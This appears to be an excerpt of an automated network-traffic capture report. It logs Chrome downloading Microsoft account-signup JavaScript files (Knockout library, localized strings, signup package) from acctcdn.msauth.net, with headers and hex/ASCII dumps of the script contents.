Connection: keep-alive
Origin: https://signup.live.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: script
Referer: https://signup.live.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-05-13 14:40:44 UTC 1826 IN HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control
,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
Age: 3259831
Cache-Control: public, max-age=31536000
Content-MD5: tZ45+ZIcr8oUnrloW1H2Vg==
Content-Type: application/javascript
Date: Fri, 13 May 2022 14:40:44 GMT
Etag: 0x8DA16C2C4E3322D
Last-Modified: Tue, 05 Apr 2022 05:11:40 GMT
Server: ECAcc (frc/8F6D)
Vary: Accept-Encoding
X-Cache: HIT
x-ms-blob-type: BlockBlob
x-ms-lease-status: unlocked
x-ms-request-id: 85ff986e-c01e-002d-5b31-49925a000000
x-ms-version: 2009-09-19
Content-Length: 22961
Connection: close

2022-05-13 14:40:44 UTC 1827 IN Data Raw: 66 75 6e 63 74 69 6f 6e 20 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 65 2c 74 2c 6e 29 7b 65 26 
26 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 
74 2c 6e 29 3a 65 26 26 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 45 6c 65 6d 65 6e 74 26 26 65 2e 61 74 74 
61 63 68 45 76 65 6e 74 26 26 65 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 22 2b 74 2c 6e 29 7d 66 75 6e 63 74 
69 6f 6e 20 5f 67 65 74 4f 72 53 65 74 50 72 6f 70 73 4f 6e 45 6c 65 6d 65 6e 74 73 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 
28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 74 29 7b 5f 66 6f 72 45 61 63 68 4b 65 79 28 74 2c 66 75 6e 63 74 
69 6f 6e 28 6e 29 7b 66 6f 72 28 76 61 72 20 73 3d 30 2c 69 3d 65 
Data Ascii: function _addEventListener(e,t,n){e&&e.addEventListener?e.addEventListener(t,n):e&&e instanceof HT
MLElement&&e.attachEvent&&e.attachEvent("on"+t,n)}function _getOrSetPropsOnElements(e,t,n,r){if("object"==typeof t)
{_forEachKey(t,function(n){for(var s=0,i=e

2022-05-13 14:40:44 UTC 1843 IN Data Raw: 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 
68 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 21 5f 69 73 48 74 6d 6c 45 6c 65 6d 65 6e 74 4c 69 73 74 28 
74 68 69 73 2e 65 6c 65 6d 73 29 29 7b 74 68 72 6f 77 22 55 6e 73 75 70 70 6f 72 74 65 64 22 7d 66 6f 72 28 76 61 72 
20 65 3d 30 2c 74 3d 74 68 69 73 2e 65 6c 65 6d 73 3b 65 3c 74 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 7b 76 61 72 20 6e 
3d 74 5b 65 5d 3b 5f 73 65 74 43 61 63 68 65 56 61 6c 75 65 28 6e 2c 63 5f 64 69 73 70 6c 61 79 2c 6e 2e 73 74 79 6c 
65 2e 64 69 73 70 6c 61 79 29 2c 6e 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 63 5f 6e 6f 6e 65 7d 72 65 74 75 72 
6e 20 74 68 69 73 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 73 68 6f 77 
Data Ascii: function(){return this},e.prototype.hide=function(){if(!_isHtmlElementList(this.elems)){throw"Unsupported"}f
or(var e=0,t=this.elems;e<t.length;e++){var n=t[e];_setCacheValue(n,c_display,n.style.display),n.style.display=c_none}re
turn this},e.prototype.show

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

74 192.168.2.3 49840 152.199.21.175 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:44 UTC 1759 OUT GET /knockout_3.3.0_X1BYS2jZMbi7hfUj8VuqFA2.js?v=1 HTTP/1.1
Host: acctcdn.msauth.net
Connection: keep-alive
Origin: https://signup.live.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: script
Referer: https://signup.live.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
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2022-05-13 14:40:44 UTC 1793 IN HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control
,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
Age: 25103528
Cache-Control: public, max-age=31536000
Content-MD5: o3vbuPQYpAFMmawTk+WKWA==
Content-Type: application/javascript
Date: Fri, 13 May 2022 14:40:44 GMT
Etag: 0x8D950154EEE67C0
Last-Modified: Mon, 26 Jul 2021 09:11:09 GMT
Server: ECAcc (frc/8F6F)
Vary: Accept-Encoding
X-Cache: HIT
x-ms-blob-type: BlockBlob
x-ms-lease-status: unlocked
x-ms-request-id: ffa91ab3-501e-0005-2886-82cb24000000
x-ms-version: 2009-09-19
Content-Length: 80144
Connection: close

2022-05-13 14:40:44 UTC 1794 IN Data Raw: 2f 2a 21 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 
2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 
20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 
2d 2d 2d 0d 0a 0d 0a 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 
61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 
62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 
70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 6e 64 20 74 68 65 20 6c 
Data Ascii: /*!------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------This file is
based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the l

2022-05-13 14:40:44 UTC 1810 IN Data Raw: 75 
Data Ascii: u

2022-05-13 14:40:44 UTC 1810 IN Data Raw: 6e 63 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 29 3b 61 2e 51 2e 66 6e 3d 7a 3b 61 2e 48 62 3d 66 75 6e 63 
74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 61 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 
65 6f 66 20 61 2e 55 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 61 2e 6e 6f 74 69 66 79 53 75 62 73 
63 72 69 62 65 72 73 7d 3b 61 2e 62 28 22 73 75 62 73 63 72 69 62 61 62 6c 65 22 2c 61 2e 51 29 3b 61 2e 62 28 22 69 
73 53 75 62 73 63 72 69 62 61 62 6c 65 22 2c 61 2e 48 62 29 3b 61 2e 5a 3d 61 2e 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7
b 66 75 6e 63 74 69 6f 6e 20 62 28 61 29 7b 63 2e 70 75 73 68 28 65 29 3b 65 3d 61 7d 66 75 6e 63 74 69 6f 6e 20 64 28 
29 7b 65 3d 63 2e 70 6f 70 28 29 7d 76 61 72 20 63 3d 5b 5d 2c 65 
Data Ascii: nction.prototype);a.Q.fn=z;a.Hb=function(a){return null!=a&&"function"==typeof a.U&&"function"==typeof a.not
ifySubscribers};a.b("subscribable",a.Q);a.b("isSubscribable",a.Hb);a.Z=a.k=function(){function b(a){c.push(e);e=a}function 
d(){e=c.pop()}var c=[],e

2022-05-13 14:40:44 UTC 1956 IN Data Raw: 65 6f 66 20 61 2e 4e 3f 62 3a 6e 65 77 20 61 2e 4e 28 62 29 7d 61 2e 64 3d 7b 7d 3b 76 61 72 20 78 3d 7b 73 
63 72 69 70 74 3a 21 30 2c 74 65 78 74 61 72 65 61 3a 21 30 7d 3b 61 2e 67 65 74 42 69 6e 64 69 6e 67 48 61 6e 64 6c 
65 72 3d 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 61 2e 64 5b 62 5d 7d 3b 0d 0a 61 2e 4e 3d 66 75 6e 
63 74 69 6f 6e 28 62 2c 63 2c 64 2c 67 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 66 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3
d 74 79 70 65 6f 66 20 62 26 26 21 61 2e 46 28 62 29 2c 6d 2c 6c 3d 61 2e 6a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 
72 20 6d 3d 66 3f 62 28 29 3a 62 2c 68 3d 61 2e 61 2e 63 28 6d 29 3b 63 3f 28 63 2e 4b 26 26 63 2e 4b 28 29 2c 61 2e 
61 2e 65 78 74 65 6e 64 28 65 2c 63 29 2c 6c 26 26 28 65 2e 4b 3d 6c 
Data Ascii: eof a.N?b:new a.N(b)}a.d={};var x={script:!0,textarea:!0};a.getBindingHandler=function(b){return a.d[b]};a.N
=function(b,c,d,g){var e=this,f="function"==typeof b&&!a.F(b),m,l=a.j(function(){var m=f?b():b,h=a.a.c(m);c?(c.K&&c.K(),
a.a.extend(e,c),l&&(e.K=l

2022-05-13 14:40:44 UTC 1985 IN Data Raw: 61 74 61 28 22 69 73 52 65 77 72 69 74 74 65 6e 22 2c 21 30 29 7d 3b 61 2e 62 28 22 74 65 6d 70 6c 61 74 
65 45 6e 67 69 6e 65 22 2c 61 2e 4a 29 3b 61 2e 6b 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 
62 28 62 2c 63 2c 64 2c 68 29 7b 62 3d 61 2e 68 2e 62 62 28 62 29 3b 66 6f 72 28 76 61 72 20 6c 3d 61 2e 68 2e 6b 61 2
c 67 3d 30 3b 67 3c 62 2e 6c 65 6e 67 74 68 3b 67 2b 2b 29 7b 76 61 72 20 6d 3d 62 5b 67 5d 2e 6b 65 79 3b 69 66 28 
6c 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 6d 29 29 7b 76 61 72 20 78 3d 6c 5b 6d 5d 3b 69 66 28 22 66 75 6e 
63 74 69 6f 6e 22 3d 3d 3d 74 79 70 65 6f 66 20 78 29 7b 69 66 28 6d 3d 0d 0a 78 28 62 5b 67 5d 2e 76 61 6c 75 65 29 
29 74 68 72 6f 77 20 45 72 72 6f 72 28 6d 29 3b 7d 65 6c 73 65 20 69 66 28 
Data Ascii: ata("isRewritten",!0)};a.b("templateEngine",a.J);a.kb=function(){function b(b,c,d,h){b=a.h.bb(b);for(var l=a
.h.ka,g=0;g<b.length;g++){var m=b[g].key;if(l.hasOwnProperty(m)){var x=l[m];if("function"===typeof x){if(m=x(b[g].value)
)throw Error(m);}else if(

2022-05-13 14:40:44 UTC 2001 IN Data Raw: 73 68 28 62 29 2c 63 2e 6f 70 74 69 6f 6e 73 2e 6c 69 76 65 26 26 6e 2e 69 73 4f 62 73 65 72 76 61 62 6c 65 
41 72 72 61 79 28 62 29 26 26 63 2e 73 75 62 73 63 72 69 70 74 69 6f 6e 73 2e 70 75 73 68 28 62 2e 73 75 62 73 63 72 
69 62 65 28 66 75 6e 63 74 69 6f 6e 28 29 7b 63 2e 67 72 61 70 68 4d 6f 6e 69 74 6f 72 2e 76 61 6c 75 65 48 61 73 4d 75 
74 61 74 65 64 28 29 7d 29 29 29 2c 67 26 26 21 67 2e 5f 64 65 73 74 72 6f 79 26 26 28 6e 2e 69 73 41 72 72 61 79 28 
67 29 3f 66 3d 67 3a 6e 2e 69 73 4f 62 6a 65 63 74 28 67 29 26 26 28 66 3d 6e 2e 76 61 6c 75 65 73 28 67 29 29 29 2c 3
0 21 3d 3d 64 26 26 6e 2e 66 6f 72 45 61 63 68 28 66 2c 66 75 6e 63 74 69 6f 6e 28 62 29 7b 21 62 7c 7c 62 2e 6e 6f 64 
65 54 79 70 65 7c 7c 61 2e 69 73 43 6f 6d 70 75 74 65 64 28 62 29 
Data Ascii: sh(b),c.options.live&&n.isObservableArray(b)&&c.subscriptions.push(b.subscribe(function(){c.graphMonitor.val
ueHasMutated()}))),g&&!g._destroy&&(n.isArray(g)?f=g:n.isObject(g)&&(f=n.values(g))),0!==d&&n.forEach(f,function(b)
{!b||b.nodeType||a.isComputed(b)

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

75 192.168.2.3 49837 152.199.21.175 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:40:44 UTC 1760 OUT GET /lwsignupstringscountrybirthdate_en-us_Hu9XQvsxbdtI5Cn8ywiXCA2.js?v=1 HTTP/1.1
Host: acctcdn.msauth.net
Connection: keep-alive
Origin: https://signup.live.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: script
Referer: https://signup.live.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-05-13 14:40:44 UTC 1849 IN HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control
,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
Age: 19315154
Cache-Control: public, max-age=31536000
Content-MD5: +v9Yu4dBC40sInjoTPM11Q==
Content-Type: application/javascript
Date: Fri, 13 May 2022 14:40:44 GMT
Etag: 0x8D98519D22FBF93
Last-Modified: Fri, 01 Oct 2021 20:26:59 GMT
Server: ECAcc (frc/8E87)
Vary: Accept-Encoding
X-Cache: HIT
x-ms-blob-type: BlockBlob
x-ms-lease-status: unlocked
x-ms-request-id: 6ba692e8-201e-0093-492b-b76a88000000
x-ms-version: 2009-09-19
Content-Length: 26098
Connection: close

2022-05-13 14:40:44 UTC 1850 IN Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 67 69 73 74 65 72 4e 61 6d 65 73 70 61 63 65 28 22 24 43 6f 6e 66 
69 67 22 29 2c 24 43 6f 6e 66 69 67 2e 73 68 61 72 65 64 53 74 72 69 6e 67 73 3d 7b 22 65 72 72 6f 72 73 22 3a 7b 22 
72 65 71 75 69 72 65 64 22 3a 22 54 68 69 73 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 69 73 20 72 65 71 75 69 72 65 64 
2e 22 2c 22 65 6d 61 69 6c 52 65 71 75 69 72 65 64 22 3a 22 41 6e 20 65 6d 61 69 6c 20 61 64 64 72 65 73 73 20 69 73 
20 72 65 71 75 69 72 65 64 22 2c 22 70 68 6f 6e 65 52 65 71 75 69 72 65 64 22 3a 22 41 20 70 68 6f 6e 65 20 6e 75 6d 
62 65 72 20 69 73 20 72 65 71 75 69 72 65 64 22 2c 22 70 61 73 73 77 6f 72 64 52 65 71 75 69 72 65 64 22 3a 22 41 20 
70 61 73 73 77 6f 72 64 20 69 73 20 72 65 71 75 69 72 65 64 22 2c 22 69 
Data Ascii: !function(){registerNamespace("$Config"),$Config.sharedStrings={"errors":{"required":"This information is re
quired.","emailRequired":"An email address is required","phoneRequired":"A phone number is required","password
Required":"A password is required","i

2022-05-13 14:40:44 UTC 1865 IN Data Raw: 6c 6c 65 73 22 2c 22 69 73 6f 22 3a 22 53 43 22 7d 2c 7b 22 63 6f 64 65 22 3a 22 32 33 32 22 2c 22 6e 61 6d 
65 22 3a 22 53 69 65 72 72 61 20 4c 65 6f 6e 65 22 2c 22 69 73 6f 22 3a 22 53 4c 22 7d 2c 7b 22 63 6f 64 65 22 3a 22 36 
35 22 2c 22 6e 61 6d 65 22 3a 22 53 69 6e 67 61 70 6f 72 65 22 2c 22 69 73 6f 22 3a 22 53 47 22 7d 2c 7b 22 63 6f 64 65 
22 3a 22 35 39 39 22 2c 22 6e 61 6d 65 22 3a 22 53 69 6e 74 20 45 75 73 74 61 74 69 75 73 22 2c 22 69 73 6f 22 3a 22 
58 45 22 7d 2c 7b 22 6e 61 6d 65 22 3a 22 53 69 6e 74 20 4d 61 61 72 74 65 6e 22 2c 22 69 73 6f 22 3a 22 53 58 22 7d 
2c 7b 22 63 6f 64 65 22 3a 22 34 32 31 22 2c 22 6e 61 6d 65 22 3a 22 53 6c 6f 76 61 6b 69 61 22 2c 22 69 73 6f 22 3a 22 
53 4b 22 2c 22 69 6e 45 55 22 3a 21 30 7d 2c 7b 22 63 6f 64 65 
Data Ascii: lles","iso":"SC"},{"code":"232","name":"Sierra Leone","iso":"SL"},{"code":"65","name":"Singapore","iso":"SG"},
{"code":"599","name":"Sint Eustatius","iso":"XE"},{"name":"Sint Maarten","iso":"SX"},{"code":"421","name":"Slovakia","
iso":"SK","inEU":!0},{"code

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

76 192.168.2.3 49838 152.199.21.175 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:44 UTC 1760 OUT GET /lightweightsignuppackage_KaVSRc6LLgG5LsIR16n5zA2.js?v=1 HTTP/1.1
Host: acctcdn.msauth.net
Connection: keep-alive
Origin: https://signup.live.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: script
Referer: https://signup.live.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
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2022-05-13 14:40:44 UTC 1875 IN HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control
,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
Age: 148820
Cache-Control: public, max-age=31536000
Content-MD5: eOHqciNlBDHfyPVA/cv9yw==
Content-Type: application/javascript
Date: Fri, 13 May 2022 14:40:44 GMT
Etag: 0x8DA330D8601F10D
Last-Modified: Wed, 11 May 2022 05:17:20 GMT
Server: ECAcc (frc/8FED)
Vary: Accept-Encoding
X-Cache: HIT
x-ms-blob-type: BlockBlob
x-ms-lease-status: unlocked
x-ms-request-id: 8ca4491c-401e-006d-5e7c-656ef8000000
x-ms-version: 2009-09-19
Content-Length: 197163
Connection: close

2022-05-13 14:40:44 UTC 1876 IN Data Raw: 66 75 6e 63 74 69 6f 6e 20 45 6e 63 72 79 70 74 28 65 2c 74 2c 6e 2c 61 29 7b 76 61 72 20 6f 3d 5b 5d 3b 73 
77 69 74 63 68 28 6e 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 7b 63 61 73 65 22 63 68 67 73 71 73 61 22 3a 69 66 
28 6e 75 6c 6c 3d 3d 65 7c 7c 6e 75 6c 6c 3d 3d 74 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 6f 3d 50 61 63 6b 61 67 
65 53 41 44 61 74 61 28 65 2c 74 29 3b 62 72 65 61 6b 3b 63 61 73 65 22 63 68 67 70 77 64 22 3a 69 66 28 6e 75 6c 6c 
3d 3d 65 7c 7c 6e 75 6c 6c 3d 3d 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 6f 3d 50 61 63 6b 61 67 65 4e 65 77 41 
6e 64 4f 6c 64 50 77 64 28 65 2c 61 29 3b 62 72 65 61 6b 3b 63 61 73 65 22 70 77 64 22 3a 69 66 28 6e 75 6c 6c 3d 3d 
65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 6f 3d 50 61 63 6b 61 67 65 
Data Ascii: function Encrypt(e,t,n,a){var o=[];switch(n.toLowerCase()){case"chgsqsa":if(null==e||null==t){return null}o=
PackageSAData(e,t);break;case"chgpwd":if(null==e||null==a){return null}o=PackageNewAndOldPwd(e,a);break;case"p
wd":if(null==e){return null}o=Package

2022-05-13 14:40:44 UTC 1892 IN Data Raw: 6e 
Data Ascii: n

2022-05-13 14:40:44 UTC 1892 IN Data Raw: 67 22 29 29 2c 6e 3d 6e 7c 7c 24 66 2e 6c 6f 61 64 69 6e 67 54 79 70 65 2e 73 70 69 6e 6e 69 6e 67 2c 61 3d 
61 7c 7c 22 32 30 70 78 22 2c 6f 3d 6f 7c 7c 61 2c 69 3d 69 7c 7c 22 33 70 78 22 2c 72 3d 72 26 26 72 2e 74 6f 4c 6f 77 
65 72 43 61 73 65 28 29 7c 7c 22 23 36 36 36 22 2c 6c 3d 6c 7c 7c 22 22 3b 0a 76 61 72 20 75 2c 70 3d 22 63 5f 73 70 
69 6e 6e 69 6e 67 44 6f 74 73 22 2c 6d 3d 28 24 43 6f 6e 66 69 67 2e 69 6d 67 73 42 61 73 65 7c 7c 22 2f 69 6d 61 67 65 
73 22 29 2b 22 2f 63 6f 6d 6d 6f 6e 2f 22 3b 6e 3d 3d 24 66 2e 6c 6f 61 64 69 6e 67 54 79 70 65 2e 66 6c 79 69 6e 67 3f 
28 70 3d 22 63 5f 66 6c 79 69 6e 67 44 6f 74 73 22 2c 75 3d 22 66 6c 79 69 6e 67 64 6f 74 73 2e 67 69 66 22 29 3a 28 75 
3d 22 73 70 69 6e 6e 65 72 5f 22 2c 75 2b 3d 22 23 66 66 66 
Data Ascii: g")),n=n||$f.loadingType.spinning,a=a||"20px",o=o||a,i=i||"3px",r=r&&r.toLowerCase()||"#666",l=l||"";var u,p
="c_spinningDots",m=($Config.imgsBase||"/images")+"/common/";n==$f.loadingType.flying?(p="c_flyingDots",u="fly
ingdots.gif"):(u="spinner_",u+="#fff

2022-05-13 14:40:44 UTC 2015 IN Data Raw: 74 2e 70 61 67 65 54 69 74 6c 65 3f 7b 22 61 72 69 61 2d 6c 61 62 65 6c 22 3a 65 74 2e 70 61 67 65 54 69 74 
6c 65 7d 3a 7b 22 61 72 69 61 2d 6c 61 62 65 6c 6c 65 64 62 79 22 3a 22 69 50 61 67 65 54 69 74 6c 65 20 44 69 61 6c 
6f 67 55 73 65 72 54 69 74 6c 65 22 7d 3a 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 6a 28 29 7b 76 61 72 20 65 3d 24 50 61 
67 65 48 65 6c 70 65 72 2e 67 65 74 28 65 74 2e 76 69 65 77 54 65 6d 70 6c 61 74 65 29 2e 63 6c 6f 6e 65 28 29 2c 74 3
d 65 74 2e 76 69 65 77 43 6f 6e 74 65 78 74 54 6f 6b 65 6e 73 3b 69 66 28 74 26 26 74 2e 6c 65 6e 67 74 68 3e 30 29 7b 
66 6f 72 28 76 61 72 20 6e 3d 65 2e 68 74 6d 6c 28 29 2c 61 3d 30 3b 61 3c 74 2e 6c 65 6e 67 74 68 3b 61 2b 2b 29 7b 
76 61 72 20 6f 3d 74 5b 61 5d 2c 72 3d 57 28 6f 29 3b 76 6f 69 64 20 
Data Ascii: t.pageTitle?{"aria-label":et.pageTitle}:{"aria-labelledby":"iPageTitle DialogUserTitle"}:{}}function j(){var 
e=$PageHelper.get(et.viewTemplate).clone(),t=et.viewContextTokens;if(t&&t.length>0){for(var n=e.html(),a=0;a<t.length;a
++){var o=t[a],r=W(o);void 

2022-05-13 14:40:44 UTC 2031 IN Data Raw: 73 57 69 6e 31 30 48 6f 73 74 4f 4f 42 45 44 65 73 6b 74 6f 70 2c 68 3d 27 3c 64 69 76 20 63 6c 61 73 73 3d 
22 72 6f 77 20 70 72 6f 67 72 65 73 73 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 20 20 20 20 20 20 20 20 3c 64 69 76 20 72 6f 
6c 65 3d 22 70 72 6f 67 72 65 73 73 62 61 72 22 20 63 6c 61 73 73 3d 22 70 72 6f 67 72 65 73 73 2d 69 6e 64 69 63 61 
74 6f 72 22 3e 20 20 20 20 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 6b 6f 20 69 66 3a 20 69 73 43 53 53 41 6e 69 6d 61 
74 69 6f 6e 53 75 70 70 6f 72 74 65 64 20 2d 2d 3e 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 3e 3c 2f 64 69 76 3e 
20 20 20 20 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 2f 6b 6f 20 2d 2d 3e 20 20 20 20 20 20 20 20 20 20 20 20 3c 21 2d 2
d 20 6b 6f 20 69 66 6e 6f 74 3a 20 69 73 43 53 53 41 6e 69 6d 61 
Data Ascii: sWin10HostOOBEDesktop,h='<div class="row progress-container">        <div role="progressbar" class
="progress-indicator">            ... ko if: isCSSAnimationSupported -->            <div></div>            ... /ko -->            ... ko ifn
ot: isCSSAnima

2022-05-13 14:40:44 UTC 2047 IN Data Raw: 48 65 6c 70 65 72 2e 67 65 74 28 65 29 2e 66 6f 63 75 73 28 29 7d 7d 2c 6b 6f 2e 62 69 6e 64 69 6e 67 48 61 
6e 64 6c 65 72 73 2e 74 6f 6f 6c 74 69 70 3d 7b 22 69 6e 69 74 22 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 29 7b 69 66 28 
21 28 24 42 26 26 24 42 2e 49 45 26 26 24 42 2e 56 26 26 24 42 2e 56 3c 3d 38 29 29 7b 76 61 72 20 6f 3d 61 28 29 2c 
69 3d 6b 6f 2e 75 74 69 6c 73 2e 75 6e 77 72 61 70 4f 62 73 65 72 76 61 62 6c 65 28 6f 29 2c 72 3d 24 50 61 67 65 48 
65 6c 70 65 72 2e 67 65 74 28 65 29 2c 73 3d 24 50 61 67 65 48 65 6c 70 65 72 2e 67 65 74 28 77 69 6e 64 6f 77 29 2c 6
c 3d 22 2e 74 6f 6f 6c 74 69 70 22 3b 0a 69 66 28 69 26 26 69 2e 74 61 72 67 65 74 29 7b 76 61 72 20 64 3d 24 50 61 67 
65 48 65 6c 70 65 72 2e 71 75 65 72 79 41 6c 6c 28 69 2e 74 61 72 
Data Ascii: Helper.get(e).focus()}},ko.bindingHandlers.tooltip={"init":function(e,a){if(!($B&&$B.IE&&$B.V&&$B.V<=8)){var 
o=a(),i=ko.utils.unwrapObservable(o),r=$PageHelper.get(e),s=$PageHelper.get(window),l=".tooltip";if(i&&i.target){var d=
$PageHelper.queryAll(i.tar

2022-05-13 14:40:44 UTC 2063 IN Data Raw: 76 61 62 6c 65 73 22 3a 5b 22 75 73 65 72 6e 61 6d 65 52 65 63 6f 76 65 72 79 53 70 65 65 64 62 75 6d 70 
22 5d 7d 2c 22 70 61 67 65 42 61 63 6b 41 63 74 69 6f 6e 22 3a 55 7c 7c 52 2e 73 68 6f 77 4d 6f 6a 61 6e 67 55 70 67 72 
61 64 65 53 70 65 65 64 62 75 6d 70 3f 22 62 61 63 6b 53 74 61 63 6b 22 3a 74 2c 22 70 61 67 65 4e 65 78 74 41 63 74 
69 6f 6e 22 3a 6e 2c 22 73 68 6f 77 49 64 65 6e 74 69 74 79 42 61 6e 6e 65 72 22 3a 31 2c 22 70 61 67 65 54 69 74 6c 6
5 22 3a 5f 2e 73 74 72 69 6e 67 73 2e 75 73 65 72 6e 61 6d 65 52 65 63 6f 76 65 72 79 53 70 65 65 64 62 75 6d 70 50 61 
67 65 54 69 74 6c 65 2c 22 61 75 74 6f 46 6f 72 6d 22 3a 21 31 7d 2c 22 61 63 74 69 6f 6e 73 22 3a 7b 22 61 63 74 69 6f 
6e 22 3a 7a 3f 75 3a 71 3f 70 3a 61 2c 22 63 61 6e 63 65 6c 22 3a 
Data Ascii: vables":["usernameRecoverySpeedbump"]},"pageBackAction":U||R.showMojangUpgradeSpeedbump?
"backStack":t,"pageNextAction":n,"showIdentityBanner":1,"pageTitle":_.strings.usernameRecoverySpeedbumpPageTit
le,"autoForm":!1},"actions":{"action":z?u:q?p:a,"cancel":

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:40:44 UTC 2079 IN Data Raw: 20 20 20 20 20 
Data Ascii:      

